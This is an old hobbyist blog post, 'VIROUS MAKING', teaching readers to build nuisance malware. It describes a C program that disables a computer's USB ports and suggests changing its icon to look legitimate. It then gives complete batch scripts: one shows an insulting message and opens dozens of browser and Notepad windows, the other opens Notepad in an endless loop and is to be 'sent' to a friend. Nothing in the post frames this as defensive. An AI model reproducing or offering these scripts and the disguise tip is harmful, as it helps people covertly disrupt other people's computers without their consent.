VIROUS MAKING

Monday, 22 August 2011

A Virus Program to Disable USB Ports

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

1. Download the USB_Block.rar file on to your computer.

2. It contains the following 4 files.

• block_usb.c (source code)
• unblock_usb.c (source code)

3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.

3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).

How to make a Funny Virus

@echo off
msg * "(sorry buddy but you just f*$%d your self)"
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad
start iexplore "ethicalhack4u.blogspot.com"
start firefox "www.maverick-deepanker.blogspot.com"
start notepad

and then simply save it as "anyname.bat"

Note : The only way to get out of any ebomb attack is simply by System restart

How to make a Funny Virus

When you type the below code and rename it as *.bat it take the above showed icon shape.
To Open Notepad continuously in your friend’s computer:

Type the code in notepad as :
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as “notepad.BAT” and send it.

Note: If you want to try it, then go ahead and when you built this file double click to open it. But beware it slows your system and you will be left with no other option than to restart, as this script opens 100’s of notepad window. So, If you want to try this than save all your work and then run this file.